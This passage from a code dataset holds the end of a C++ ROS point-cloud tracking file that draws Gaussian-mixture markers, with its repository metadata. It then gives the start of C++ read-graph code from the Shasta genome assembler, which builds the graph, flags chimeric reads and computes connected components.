vectors_ordered(2,0) = vectors.col(1)[2];\n        if(values[0] > values[2]){\n            values_ordered[1] = values[0];\n            vectors_ordered(0,1) = vectors.col(0)[0];\n            vectors_ordered(1,1) = vectors.col(0)[1];\n            vectors_ordered(2,1) = vectors.col(0)[2];\n\n            values_ordered[2] = values[2];\n            vectors_ordered(0,2) = vectors.col(2)[0];\n            vectors_ordered(1,2) = vectors.col(2)[1];\n            vectors_ordered(2,2) = vectors.col(2)[2];\n        }\n        else{\n            values_ordered[1] = values[2];\n            vectors_ordered(0,1) = vectors.col(2)[0];\n            vectors_ordered(1,1) = vectors.col(2)[1];\n            vectors_ordered(2,1) = vectors.col(2)[2];\n\n            values_ordered[2] = values[0];\n            vectors_ordered(0,2) = vectors.col(0)[0];\n            vectors_ordered(1,2) = vectors.col(0)[1];\n            vectors_ordered(2,2) = vectors.col(0)[2];\n        }\n    }\n    else if(values[2] > values[0] && values[2] > values[1]){\n        values_ordered[0] = values[2];\n        vectors_ordered(0,0) = vectors.col(2)[0];\n        vectors_ordered(1,0) = vectors.col(2)[1];\n        vectors_ordered(2,0) = vectors.col(2)[2];\n        if(values[0] > values[1]){\n            values_ordered[1] = values[0];\n            vectors_ordered(0,1) = vectors.col(0)[0];\n            vectors_ordered(1,1) = vectors.col(0)[1];\n            vectors_ordered(2,1) = vectors.col(0)[2];\n\n            values_ordered[2] = values[1];\n            vectors_ordered(0,2) = vectors.col(1)[0];\n            vectors_ordered(1,2) = vectors.col(1)[1];\n            vectors_ordered(2,2) = vectors.col(1)[2];\n        }\n        else{\n            values_ordered[1] = values[1];\n            vectors_ordered(0,1) = vectors.col(1)[0];\n            vectors_ordered(1,1) = vectors.col(1)[1];\n            vectors_ordered(2,1) = vectors.col(1)[2];\n\n            values_ordered[2] = values[0];\n            vectors_ordered(0,2) = vectors.col(0)[0];\n            vectors_ordered(1,2) = vectors.col(0)[1];\n            vectors_ordered(2,2) = vectors.col(0)[2];\n        }\n    }\n}\n\n\nvisualization_msgs::MarkerArray PCTrackContainer::toMarkerGMMs()\n{\n\n    double margin = 0.1;\n    double stepsize = 0.01;\n\n    visualization_msgs::MarkerArray gmmMarkers;\n\n    int cnt = 0;\n    for(int i=0;i<numTracks();i++){\n        if(!isNewlyUpdated(i))   continue;\n        PCObject object;\n        object = tracks.at(i)->lastFrame().object;\n        if(object.state != NOGMM){\n            int id = tracks.at(i)->id;\n            // make a gmm eval points of the object\n\n            for(int j=0;j<object.gmm.size();j++){\n                cnt ++;\n                visualization_msgs::Marker gmmMarker;\n                gmmMarker.header.frame_id = \"/origin\";\n                gmmMarker.header.stamp = ros::Time();\n                gmmMarker.ns = \"gmm\";\n                gmmMarker.id = cnt;\n\n                Gaussian gmm = object.gmm.at(j);\n                gmmMarker.type = visualization_msgs::Marker::SPHERE;\n                gmmMarker.action = visualization_msgs::Marker::ADD;\n                gmmMarker.lifetime = ros::Duration(0);\n                gmmMarker.pose.position.x = gmm.mean[0];\n                gmmMarker.pose.position.y = gmm.mean[1];\n                gmmMarker.pose.position.z = gmm.mean[2];\n\n                Eigen::Matrix3d cov3d;\n                for(int i=0;i<3;i++)\n                    for(int j=0;j<3;j++)\n                        cov3d(i,j)=gmm.covariance(i,j);\n                Eigen::SelfAdjointEigenSolver<Eigen::Matrix3d> eigensolver(cov3d);\n                Eigen::Vector3d eigenvalues = eigensolver.eigenvalues();\n                Eigen::Matrix3d eigenvectors = eigensolver.eigenvectors();\n                // ordering\n                Eigen::Vector3d eigenvalues_ordered;\n                Eigen::Matrix3d rotation;\n                eigenOrdering(eigenvalues, eigenvectors, eigenvalues_ordered, rotation);\n\n                double m00 = rotation(0,0);\n                double m01 = rotation(0,1);\n                double m02 = rotation(0,2);\n                double m10 = rotation(1,0);\n                double m11 = rotation(1,1);\n                double m12 = rotation(1,2);\n                double m20 = rotation(2,0);\n                double m21 = rotation(2,1);\n                double m22 = rotation(2,2);\n\n                // euler z-y-x sequence from orientation metrix\n                double yaw = atan2(m10, m00);\n                double pitch = -atan2(m20 , sqrt(m00*m00+m10*m10-m20*m20));\n                double roll = atan2(sqrt(m12*m12+m02*m02), fabs(m22));\n                //        if(m22<0) roll = PI-roll;\n\n                if(m22>0 && m12<0 && m02>0) {\n                    if(yaw<0 && pitch>0)\n                        roll = -roll;\n                    else roll = roll;\n                }\n                else if (m22>0 && m12>0 && m02>0) roll = -roll;\n                else if (m22<0 && m12>0 && m02<0){\n                    if(yaw>0 && pitch<0) roll = roll;\n                    else roll = -roll;\n                }\n                else if (m22<0 && m12<0 && m02<0) roll = -roll;\n                //\n                //                cout<<id<<\" m00: \"<<m00<<endl;\n                //                cout<<id<<\" m10: \"<<m10<<endl;\n                //                cout<<id<<\" m20: \"<<m20<<endl;\n                //                cout<<id<<\"eigenv1: \"<<eigenvalues_ordered[0]<<endl;\n                //                cout<<id<<\"eigenv2: \"<<eigenvalues_ordered[1]<<endl;\n                //                cout<<id<<\"eigenv3: \"<<eigenvalues_ordered[2]<<endl;\n                //                cout<<id<<\" yaw: \"<<yaw*180./PI<<endl;\n                //                cout<<id<<\" pitch: \"<<pitch*180./PI<<endl;\n                //                cout<<id<<\" roll: \"<<roll*180./PI<<endl;\n\n                // euler z-y-x sequence to quaternion\n                double q0 = sin(yaw/2.)*sin(pitch/2.)*sin(roll/2.) + cos(yaw/2.)*cos(pitch/2.)*cos(roll/2.);\n                double q1 = 0. - sin(yaw/2.)*sin(pitch/2.)*cos(roll/2.) + cos(yaw/2.)*cos(pitch/2.)*sin(roll/2.);\n                double q2 = sin(yaw/2.)*cos(pitch/2.)*sin(roll/2.) + cos(yaw/2.)*sin(pitch/2.)*cos(roll/2.);\n                double q3 = sin(yaw/2.)*cos(pitch/2.)*cos(roll/2.) - cos(yaw/2.)*sin(pitch/2.)*sin(roll/2.);\n\n\n                gmmMarker.pose.orientation.w = q0;\n                gmmMarker.pose.orientation.x = q1;\n                gmmMarker.pose.orientation.y = q2;\n                gmmMarker.pose.orientation.z = q3;\n\n                gmmMarker.frame_locked = 0;\n\n                // confidence interval:\n                // 95%: s=5.991,\n                // 99%: s=9.210\n                // 90%: s=4.605\n                gmmMarker.scale.x = sqrt(2*eigenvalues_ordered[0])*2;\n                gmmMarker.scale.y = sqrt(2*eigenvalues_ordered[1])*2;\n                gmmMarker.scale.z = sqrt(2*eigenvalues_ordered[2])*2;\n\n\n                gmmMarker.color.a = gmm.weight*object.gmm.size()/2;\n                gmmMarker.color.r = ((double)r[id])/256;\n                gmmMarker.color.g = ((double)g[id])/256;\n                gmmMarker.color.b = ((double)b[id])/256;\n\n                gmmMarkers.markers.push_back(gmmMarker);\n\n            }\n        }\n    }\n\n    // delete markers\n    for(int i=cnt+1;i<=oldCnt;i++){\n        visualization_msgs::Marker delGauss;\n        delGauss.header.frame_id = \"/origin\";\n        delGauss.header.stamp = ros::Time();\n        delGauss.ns = \"gmm\";\n        delGauss.id = i;\n        delGauss.type = visualization_msgs::Marker::TEXT_VIEW_FACING;\n        delGauss.action = visualization_msgs::Marker::DELETE;\n        gmmMarkers.markers.push_back(delGauss);\n    }\n    oldCnt = cnt;\n    return gmmMarkers;\n}\n\nvoid PCTrackContainer::evaluate()\n{\n    numTruePoints = 0;\n    numFalsePoints = 0;\n    numTotalPoints = 0;\n\n    for(int i=0;i<numTracks();i++){\n        if(tracks.at(i)->lastFrame().time == currentT){\n            PCObject object;\n            object = tracks.at(i)->lastFrame().object;\n            int numBlack = 0;\n            int numWhite = 0;\n            for(int j=0;j<object.points.size();j++){\n                Point point = object.points.at(j);\n                double avgrgb = (point.rgb[0]*3000 + point.rgb[1]*3000 + point.rgb[2]*3000) / 3;\n\n                if(avgrgb > 128) numWhite ++;\n                else numBlack ++;\n            }\n            if(numWhite > numBlack){\n                numTruePoints += numWhite;\n                numFalsePoints += numBlack;\n            }\n            else{\n                numTruePoints += numBlack;\n                numFalsePoints += numWhite;\n            }\n            numTotalPoints += object.points.size();\n        }\n    }\n}\n", "meta": {"hexsha": "5ebbc4cbd93ee7001cb6086afa25ff26d7b7ae70", "size": 24116, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/pctrackcontainer.cpp", "max_stars_repo_name": "koosyong/pmot", "max_stars_repo_head_hexsha": "6f5d262d3a38a7afb516cbe1218de951995b08b2", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 5.0, "max_stars_repo_stars_event_min_datetime": "2015-08-09T09:33:13.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-10T10:32:16.000Z", "max_issues_repo_path": "src/pctrackcontainer.cpp", "max_issues_repo_name": "koosyong/pmot", "max_issues_repo_head_hexsha": "6f5d262d3a38a7afb516cbe1218de951995b08b2", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/pctrackcontainer.cpp", "max_forks_repo_name": "koosyong/pmot", "max_forks_repo_head_hexsha": "6f5d262d3a38a7afb516cbe1218de951995b08b2", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 6.0, "max_forks_repo_forks_event_min_datetime": "2015-08-09T09:33:22.000Z", "max_forks_repo_forks_event_max_datetime": "2019-09-18T06:13:39.000Z", "avg_line_length": 36.874617737, "max_line_length": 166, "alphanum_fraction": 0.5252114779, "num_tokens": 6501, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.29098086621490676, "lm_q1q2_score": 0.14662705399158837}}
{"text": "\n// Shasta.\n#include \"Assembler.hpp\"\n#include \"LocalReadGraph.hpp\"\n#include \"orderPairs.hpp\"\n#include \"timestamp.hpp\"\nusing namespace shasta;\n\n// Boost libraries.\n#include <boost/pending/disjoint_sets.hpp>\n#include <boost/graph/maximum_adjacency_search.hpp>\n#include <boost/graph/iteration_macros.hpp>\n#include <boost/graph/connected_components.hpp>\n#include <boost/property_map/property_map.hpp>\n\n\n\n// Standard libraries.\n#include \"chrono.hpp\"\n#include \"iterator.hpp\"\n#include <numeric>\n#include <queue>\n#include <random>\n#include <stack>\n\n\n\n// For each read, keep only the best maxAlignmentCount alignments.\n// Note that the connectivity of the resulting read graph can\n// be more than maxAlignmentCount.\nvoid Assembler::createReadGraph(\n    uint32_t maxAlignmentCount,\n    uint32_t maxTrim)\n{\n    // Find the number of reads and oriented reads.\n    const ReadId orientedReadCount = uint32_t(markers.size());\n    SHASTA_ASSERT((orientedReadCount % 2) == 0);\n    const ReadId readCount = orientedReadCount / 2;\n\n    // Mark all alignments as not to be kept.\n    vector<bool> keepAlignment(alignmentData.size(), false);\n\n    // Vector to keep the alignments for each read,\n    // with their number of markers.\n    // Contains pairs(marker count, alignment id).\n    vector< pair<uint32_t, uint32_t> > readAlignments;\n\n\n\n    // Loop over reads.\n    for(ReadId readId=0; readId<readCount; readId++) {\n\n        // Gather the alignments for this read, each with its number of markers.\n        readAlignments.clear();\n        for(const uint32_t alignmentId: alignmentTable[OrientedReadId(readId, 0).getValue()]) {\n            const AlignmentData& alignment = alignmentData[alignmentId];\n            readAlignments.push_back(make_pair(alignment.info.markerCount, alignmentId));\n        }\n\n        // Keep the best maxAlignmentCount.\n        if(readAlignments.size() > maxAlignmentCount) {\n            std::nth_element(\n                readAlignments.begin(),\n                readAlignments.begin() + maxAlignmentCount,\n                readAlignments.end(),\n                std::greater< pair<uint32_t, uint32_t> >());\n            readAlignments.resize(maxAlignmentCount);\n        }\n\n        // Mark the surviving alignments as to be kept.\n        for(const auto& p: readAlignments) {\n            const uint32_t alignmentId = p.second;\n            keepAlignment[alignmentId] = true;\n        }\n    }\n    const size_t keepCount = count(keepAlignment.begin(), keepAlignment.end(), true);\n    cout << \"Keeping \" << keepCount << \" alignments of \" << keepAlignment.size() << endl;\n\n\n\n    // Now we can create the read graph.\n    // Only the alignments we marked as \"keep\" generate edges in the read graph.\n    readGraph.edges.createNew(largeDataName(\"ReadGraphEdges\"), largeDataPageSize);\n    for(size_t alignmentId=0; alignmentId<alignmentData.size(); alignmentId++) {\n        if(!keepAlignment[alignmentId]) {\n            continue;\n        }\n        const AlignmentData& alignment = alignmentData[alignmentId];\n\n        // Create the edge corresponding to this alignment.\n        ReadGraphEdge edge;\n        edge.alignmentId = alignmentId & 0x7fff'ffff'ffff'ffff;\n        edge.orientedReadIds[0] = OrientedReadId(alignment.readIds[0], 0);\n        edge.orientedReadIds[1] = OrientedReadId(alignment.readIds[1], alignment.isSameStrand ? 0 : 1);\n        SHASTA_ASSERT(edge.orientedReadIds[0] < edge.orientedReadIds[1]);\n        readGraph.edges.push_back(edge);\n\n        // Also create the reverse complemented edge.\n        edge.orientedReadIds[0].flipStrand();\n        edge.orientedReadIds[1].flipStrand();\n        SHASTA_ASSERT(edge.orientedReadIds[0] < edge.orientedReadIds[1]);\n        readGraph.edges.push_back(edge);\n    }\n\n\n\n    // Create read graph connectivity.\n    readGraph.connectivity.createNew(largeDataName(\"ReadGraphConnectivity\"), largeDataPageSize);\n    readGraph.connectivity.beginPass1(orientedReadCount);\n    for(const ReadGraphEdge& edge: readGraph.edges) {\n        readGraph.connectivity.incrementCount(edge.orientedReadIds[0].getValue());\n        readGraph.connectivity.incrementCount(edge.orientedReadIds[1].getValue());\n    }\n    readGraph.connectivity.beginPass2();\n    for(size_t i=0; i<readGraph.edges.size(); i++) {\n        const ReadGraphEdge& edge = readGraph.edges[i];\n        readGraph.connectivity.store(edge.orientedReadIds[0].getValue(), uint32_t(i));\n        readGraph.connectivity.store(edge.orientedReadIds[1].getValue(), uint32_t(i));\n    }\n    readGraph.connectivity.endPass2();\n\n\n\n    // Count the number of isolated reads and their bases.\n    uint64_t isolatedReadCount = 0;\n    uint64_t isolatedReadBaseCount = 0;\n    for(ReadId readId=0; readId<readCount; readId++) {\n        const OrientedReadId orientedReadId(readId, 0);\n        const uint64_t neighborCount = readGraph.connectivity.size(orientedReadId.getValue());\n        if(neighborCount > 0) {\n            continue;\n        }\n        ++isolatedReadCount;\n        isolatedReadBaseCount += getReadRawSequenceLength(readId);\n    }\n    assemblerInfo->isolatedReadCount = isolatedReadCount;\n    assemblerInfo->isolatedReadBaseCount = isolatedReadBaseCount;\n}\n\n\n\nvoid Assembler::accessReadGraph()\n{\n    readGraph.edges.accessExistingReadOnly(largeDataName(\"ReadGraphEdges\"));\n    readGraph.connectivity.accessExistingReadOnly(largeDataName(\"ReadGraphConnectivity\"));\n}\nvoid Assembler::accessReadGraphReadWrite()\n{\n    readGraph.edges.accessExistingReadWrite(largeDataName(\"ReadGraphEdges\"));\n    readGraph.connectivity.accessExistingReadWrite(largeDataName(\"ReadGraphConnectivity\"));\n}\nvoid Assembler::checkReadGraphIsOpen()\n{\n    if(!readGraph.edges.isOpen) {\n        throw runtime_error(\"Read graph edges are not accessible.\");\n    }\n    if(!readGraph.connectivity.isOpen()) {\n        throw runtime_error(\"Read graph connectivity is not accessible.\");\n    }\n\n}\n\n\n\n// Create a local subgraph of the global read graph,\n// starting at a given vertex and extending out to a specified\n// distance (number of edges).\nbool Assembler::createLocalReadGraph(\n    OrientedReadId start,\n    uint32_t maxDistance,           // How far to go from starting oriented read.\n    bool allowChimericReads,\n    bool allowCrossStrandEdges,\n    size_t maxTrim,                 // Used to define containment.\n    double timeout,                 // Or 0 for no timeout.\n    LocalReadGraph& graph)\n{\n    const auto startTime = steady_clock::now();\n\n    // If the starting read is chimeric and we don't allow chimeric reads, do nothing.\n    if(!allowChimericReads && readFlags[start.getReadId()].isChimeric) {\n        return true;\n    }\n\n    // Add the starting vertex.\n    graph.addVertex(start, uint32_t(markers[start.getValue()].size()),\n        readFlags[start.getReadId()].isChimeric, 0);\n\n    // Initialize a BFS starting at the start vertex.\n    std::queue<OrientedReadId> q;\n    q.push(start);\n\n\n\n    // Do the BFS.\n    while(!q.empty()) {\n\n        // See if we exceeded the timeout.\n        if(timeout>0. && (seconds(steady_clock::now() - startTime) > timeout)) {\n            graph.clear();\n            return false;\n        }\n\n        // Dequeue a vertex.\n        const OrientedReadId orientedReadId0 = q.front();\n        q.pop();\n        const uint32_t distance0 = graph.getDistance(orientedReadId0);\n        const uint32_t distance1 = distance0 + 1;\n\n        // Loop over edges of the global read graph involving this vertex.\n        for(const uint64_t i: readGraph.connectivity[orientedReadId0.getValue()]) {\n            SHASTA_ASSERT(i < readGraph.edges.size());\n            const ReadGraphEdge& globalEdge = readGraph.edges[i];\n\n            if(!allowCrossStrandEdges && globalEdge.crossesStrands) {\n                continue;\n            }\n\n            // Get the other oriented read involved in this edge of the read graph.\n            const OrientedReadId orientedReadId1 = globalEdge.getOther(orientedReadId0);\n\n            // If this read is flagged chimeric and we don't allow chimeric reads, skip.\n            if(!allowChimericReads && readFlags[orientedReadId1.getReadId()].isChimeric) {\n                continue;\n            }\n\n            // Get alignment information.\n            const AlignmentData& alignment = alignmentData[globalEdge.alignmentId];\n            OrientedReadId alignmentOrientedReadId0(alignment.readIds[0], 0);\n            OrientedReadId alignmentOrientedReadId1(alignment.readIds[1], alignment.isSameStrand ? 0 : 1);\n            AlignmentInfo alignmentInfo = alignment.info;\n            if(alignmentOrientedReadId0.getReadId() != orientedReadId0.getReadId()) {\n                swap(alignmentOrientedReadId0, alignmentOrientedReadId1);\n                alignmentInfo.swap();\n            }\n            if(alignmentOrientedReadId0.getStrand() != orientedReadId0.getStrand()) {\n                alignmentOrientedReadId0.flipStrand();\n                alignmentOrientedReadId1.flipStrand();\n                alignmentInfo.reverseComplement();\n            }\n            SHASTA_ASSERT(alignmentOrientedReadId0 == orientedReadId0);\n            const AlignmentType alignmentType = alignmentInfo.classify(uint32_t(maxTrim));\n            const uint32_t markerCount = alignmentInfo.markerCount;\n\n            // Update our BFS.\n            // Note that we are pushing to the queue vertices at maxDistance,\n            // so we can find all of their edges to other vertices at maxDistance.\n            if(distance0 < maxDistance) {\n                if(!graph.vertexExists(orientedReadId1)) {\n                    graph.addVertex(orientedReadId1,\n                        uint32_t(markers[orientedReadId1.getValue()].size()),\n                        readFlags[orientedReadId1.getReadId()].isChimeric, distance1);\n                    q.push(orientedReadId1);\n                }\n                graph.addEdge(\n                    orientedReadId0,\n                    orientedReadId1,\n                    markerCount,\n                    alignmentType,\n                    globalEdge.crossesStrands == 1);\n            } else {\n                SHASTA_ASSERT(distance0 == maxDistance);\n                if(graph.vertexExists(orientedReadId1)) {\n                    graph.addEdge(\n                        orientedReadId0,\n                        orientedReadId1,\n                        markerCount,\n                        alignmentType,\n                        globalEdge.crossesStrands == 1);\n                }\n            }\n\n        }\n\n    }\n    return true;\n}\n\n\n\n// Use the read graph to flag chimeric reads.\n// For each oriented read and corresponding vertex v0, we do\n// a BFS in the read graph up to the specified maxDistance.\n// We then compute connected components of the subgraph\n// consisting of the vertices reached by the bfs, minus v0\n// and possibly its reverse complement.\n// If not all the vertices at maximum distance are\n// in the same component, the read corresponding to v0\n// is flagged as chimeric.\nvoid Assembler::flagChimericReads(size_t maxDistance, size_t threadCount)\n{\n    cout << timestamp << \"Begin flagging chimeric reads, max distance \" << maxDistance << endl;\n\n    // Check that we have what we need.\n    checkReadGraphIsOpen();\n    const size_t orientedReadCount = readGraph.connectivity.size();\n    SHASTA_ASSERT((orientedReadCount % 2) == 0);\n    const size_t readCount = orientedReadCount / 2;\n\n    // If maxDistance is zero, just flag all reads as not chimeric.\n    if(maxDistance == 0) {\n        for(ReadId readId=0; readId<readCount; readId++) {\n            readFlags[readId].isChimeric = 0;\n        }\n        return;\n    }\n\n    // Store the argument so it is accessible by all threads.\n    SHASTA_ASSERT(maxDistance < 255);\n    flagChimericReadsData.maxDistance = maxDistance;\n\n    // Adjust the numbers of threads, if necessary.\n    if(threadCount == 0) {\n        threadCount = std::thread::hardware_concurrency();\n    }\n\n    // Multithreaded loop over all reads.\n    cout << timestamp << \"Processing \" << readCount << \" reads.\" << endl;\n    setupLoadBalancing(readCount, 10000);\n    runThreads(&Assembler::flagChimericReadsThreadFunction, threadCount);\n\n    cout << timestamp << \"Done flagging chimeric reads.\" << endl;\n\n    size_t chimericReadCount = 0;\n    for(ReadId readId=0; readId!=readCount; readId++) {\n        if(readFlags[readId].isChimeric) {\n            ++chimericReadCount;\n        }\n    }\n    assemblerInfo->chimericReadCount = chimericReadCount;\n    cout << timestamp << \"Flagged \" << chimericReadCount << \" reads as chimeric out of \";\n    cout << readCount << \" total.\" << endl;\n    cout << \"Chimera rate is \" << double(chimericReadCount) / double(readCount) << endl;\n}\n\n\n\nvoid Assembler::flagChimericReadsThreadFunction(size_t threadId)\n{\n    const size_t maxDistance = flagChimericReadsData.maxDistance;\n\n    // Vector used for BFS searches by this thread.\n    // It stores the local vertex id in the current BFS assigned to each vertex,\n    // or notReached for vertices not yet reached by the current BFS.\n    // Indexed by orientedRead.getValue().\n    // This is of size equal to the number of oriented reads, and each thread has its own copy.\n    // This is not prohibitive. For example, for a large human size run with\n    // 20 million reads and 100 threads, the total space is only 16 GB.\n    MemoryMapped::Vector<uint32_t> vertexTable;\n    vertexTable.createNew(\n        largeDataName(\"tmp-FlagChimericReads-VertexTable\" + to_string(threadId)),\n        largeDataPageSize);\n    vertexTable.resize(readGraph.connectivity.size());\n    const uint32_t notReached = std::numeric_limits<uint32_t>::max();\n    fill(vertexTable.begin(), vertexTable.end(), notReached);\n\n    // Vector to contain the vertices we found in the current BFS,\n    // each with the distance from the start vertex.\n    vector< pair<OrientedReadId, uint32_t> > localVertices;\n\n    // The queue used for the BFS.\n    std::queue<OrientedReadId> q;\n\n    // Vectors used to compute connected components after each BFS.\n    vector<uint32_t> rank;\n    vector<uint32_t> parent;\n\n\n    // Loop over all batches assigned to this thread.\n    uint64_t begin, end;\n    while(getNextBatch(begin, end)) {\n\n        // Loop over all reads assigned to this batch.\n        for(ReadId startReadId=ReadId(begin); startReadId!=ReadId(end); startReadId++) {\n\n            // Check that there is no garbage left by the previous BFS.\n            SHASTA_ASSERT(localVertices.empty());\n            SHASTA_ASSERT(q.empty());\n\n            // Begin by flagging this read as not chimeric.\n            readFlags[startReadId].isChimeric = 0;\n\n\n\n            // Do the BFS for this read and strand 0.\n            const OrientedReadId startOrientedReadId(startReadId, 0);\n            uint32_t localVertexId = 0;\n            q.push(startOrientedReadId);\n            localVertices.push_back(make_pair(startOrientedReadId, 0));\n            vertexTable[startOrientedReadId.getValue()] = localVertexId++;\n            while(!q.empty()) {\n\n                // Dequeue a vertex.\n                const OrientedReadId v0 = q.front();\n                q.pop();\n                const uint32_t distance0 = localVertices[vertexTable[v0.getValue()]].second;\n                const uint32_t distance1 = distance0 + 1;\n                // out << \"Dequeued \" << v0 << endl;\n\n                // Loop over edges involving this vertex.\n                const auto edgeIds = readGraph.connectivity[v0.getValue()];\n                for(const uint32_t edgeId: edgeIds) {\n                    const ReadGraphEdge& edge = readGraph.edges[edgeId];\n                    if(edge.crossesStrands) {\n                        continue;\n                    }\n                    const OrientedReadId v1 = edge.getOther(v0);\n                    // out << \"Found \" << v1 << endl;\n\n                    // If we already encountered this read in this BFS, do nothing.\n                    if(vertexTable[v1.getValue()] != notReached) {\n                        // out << \"Previously reached.\" << endl;\n                        continue;\n                    }\n\n                    // Record this vertex.\n                    // out << \"Recording \" << v1 << endl;\n                    localVertices.push_back(make_pair(v1, distance1));\n                    vertexTable[v1.getValue()] = localVertexId++;\n\n                    // If at distance less than maxDistance, also enqueue it.\n                    if(distance1 < maxDistance) {\n                        // out << \"Enqueueing \" << v1 << endl;\n                        q.push(v1);\n                    }\n                }\n            }\n            // out << \"BFS found \" << localVertices.size() << \" vertices.\" << endl;\n\n\n\n            // Now that we have the list of vertices with maxDistance of vStart,\n            // compute connected components, disregarding edges that involve v0\n            // and possibly its reverse complement.\n\n            // Initialize the disjoint set data structures.\n            const ReadId n = ReadId(localVertices.size());\n            rank.resize(n);\n            parent.resize(n);\n            boost::disjoint_sets<ReadId*, ReadId*> disjointSets(&rank[0], &parent[0]);\n            for(ReadId i=0; i<n; i++) {\n                disjointSets.make_set(i);\n            }\n\n            // Loop over all edges involving the vertices we found during the BFS,\n            // but disregarding vertices involving vStart or its reverse complement.\n            for(const auto& p: localVertices) {\n                const OrientedReadId v0 = p.first;\n                if(v0.getReadId() == startOrientedReadId.getReadId()) {\n                    continue;   // Skip edges involving vStart or its reverse complement.\n                }\n                const uint32_t u0 = vertexTable[v0.getValue()];\n                SHASTA_ASSERT(u0 != notReached);\n                const auto edges = readGraph.connectivity[v0.getValue()];\n                for(const uint32_t edgeId: edges) {\n                    const ReadGraphEdge& edge = readGraph.edges[edgeId];\n                    if(edge.crossesStrands) {\n                        continue;\n                    }\n                    const OrientedReadId v1 = edge.getOther(v0);\n                    if(v1.getReadId() == startOrientedReadId.getReadId()) {\n                        continue;   // Skip edges involving startOrientedReadId.\n                    }\n                    const uint32_t u1 = vertexTable[v1.getValue()];\n                    if(u1 != notReached) {\n                        disjointSets.union_set(u0, u1);\n                    }\n                }\n            }\n\n\n            // Now check the vertices at maximum distance.\n            // If they belong to more than one connected component,\n            // removing vStart affects the large scale connectivity of the\n            // read graph, and therefore we flag vStart as chimeric.\n            uint32_t component = std::numeric_limits<uint32_t>::max();\n            for(const auto& p: localVertices) {\n                if(p.second != maxDistance) {\n                    continue;\n                }\n                const OrientedReadId v = p.first;\n                if(v.getReadId() == startOrientedReadId.getReadId()) {\n                    // Skip the reverse complement of the start vertex.\n                    continue;\n                }\n                const uint32_t u = vertexTable[v.getValue()];\n                SHASTA_ASSERT(u != notReached);\n                const uint32_t uComponent = disjointSets.find_set(u);\n                if(component == std::numeric_limits<ReadId>::max()) {\n                    component = uComponent;\n                } else {\n                    if(uComponent != component) {\n                        readFlags[startReadId].isChimeric = 1;\n                        break;\n                    }\n                }\n            }\n\n\n            // Before processing the next read, we need to reset\n            // all entries of the distance vector to notReached,\n            // then clear the verticesFound vector.\n            for(const auto& p: localVertices) {\n                const OrientedReadId orientedReadId = p.first;\n                vertexTable[orientedReadId.getValue()] = notReached;\n            }\n            localVertices.clear();\n        }\n    }\n\n    // Remove our work vector.\n    vertexTable.remove();\n\n}\n\n\n\n// Compute connected components of the read graph.\n// This treats chimeric reads as isolated.\n// Components with fewer than minComponentSize are considered\n// small and excluded from assembly by setting the\n// isInSmallComponent for all the reads they contain.\nvoid Assembler::computeReadGraphConnectedComponents(\n    size_t minComponentSize\n    )\n{\n    // Check that we have what we need.\n    SHASTA_ASSERT(readFlags.isOpenWithWriteAccess);\n    checkReadGraphIsOpen();\n    const size_t readCount = reads.size();\n    const size_t orientedReadCount = 2*readCount;\n    SHASTA_ASSERT(readGraph.connectivity.size() == orientedReadCount);\n    checkAlignmentDataAreOpen();\n\n\n\n    // Compute connected components of the read graph,\n    // treating chimeric reads as isolated.\n    vector<ReadId> rank(orientedReadCount);\n    vector<ReadId> parent(orientedReadCount);\n    boost::disjoint_sets<ReadId*, ReadId*> disjointSets(&rank[0], &parent[0]);\n    cout << timestamp << \"Computing connected components of the read graph.\" << endl;\n    for(ReadId readId=0; readId<readCount; readId++) {\n        for(Strand strand=0; strand<2; strand++) {\n            disjointSets.make_set(OrientedReadId(readId, strand).getValue());\n        }\n    }\n    for(const ReadGraphEdge& edge: readGraph.edges) {\n        if(edge.crossesStrands) {\n            continue;\n        }\n        const OrientedReadId orientedReadId0 = edge.orientedReadIds[0];\n        const OrientedReadId orientedReadId1 = edge.orientedReadIds[1];\n        const ReadId readId0 = orientedReadId0.getReadId();\n        const ReadId readId1 = orientedReadId1.getReadId();\n        if(readFlags[readId0].isChimeric) {\n            continue;\n        }\n        if(readFlags[readId1].isChimeric) {\n            continue;\n        }\n        disjointSets.union_set(orientedReadId0.getValue(), orientedReadId1.getValue());\n    }\n\n\n\n    // Gather the vertices of each component.\n    std::map<ReadId, vector<OrientedReadId> > componentMap;\n    for(ReadId readId=0; readId<readCount; readId++) {\n        for(Strand strand=0; strand<2; strand++) {\n            const OrientedReadId orientedReadId(readId, strand);\n            const ReadId componentId = disjointSets.find_set(orientedReadId.getValue());\n            componentMap[componentId].push_back(orientedReadId);\n        }\n    }\n    cout << \"The read graph has \" << componentMap.size() <<\n        \" connected components.\" << endl;\n\n\n\n    // Sort the components by decreasing size (number of reads).\n    // componentTable contains pairs(size, componentId as key in componentMap).\n    vector< pair<size_t, uint32_t> > componentTable;\n    for(const auto& p: componentMap) {\n        const vector<OrientedReadId>& component = p.second;\n        componentTable.push_back(make_pair(component.size(), p.first));\n    }\n    sort(componentTable.begin(), componentTable.end(), std::greater<pair<size_t, uint32_t>>());\n\n\n\n    // Store components in this order of decreasing size.\n    vector< vector<OrientedReadId> > components;\n    for(const auto& p: componentTable) {\n        components.push_back(componentMap[p.second]);\n    }\n    cout << timestamp << \"Done computing connected components of the read graph.\" << endl;\n\n\n\n    // Write information for each component.\n    ofstream csv(\"ReadGraphComponents.csv\");\n    csv << \"Component,RepresentingRead,OrientedReadCount,IsSmall,IsSelfComplementary,\"\n        \"AccumulatedOrientedReadCount,\"\n        \"AccumulatedOrientedReadCountFraction\\n\";\n    size_t accumulatedOrientedReadCount = 0;\n    for(ReadId componentId=0; componentId<components.size(); componentId++) {\n        const vector<OrientedReadId>& component = components[componentId];\n        accumulatedOrientedReadCount += component.size();\n        const double accumulatedOrientedReadCountFraction =\n            double(accumulatedOrientedReadCount)/double(orientedReadCount);\n\n        const bool isSelfComplementary =\n            component.size() > 1 &&\n            (component[0].getReadId() == component[1].getReadId());\n\n\n        // Write out.\n        csv << componentId << \",\";\n        csv << component.front() << \",\";\n        csv << component.size() << \",\";\n        csv << ((component.size() < minComponentSize) ? \"Yes\" : \"No\") << \",\";\n        csv << (isSelfComplementary ? 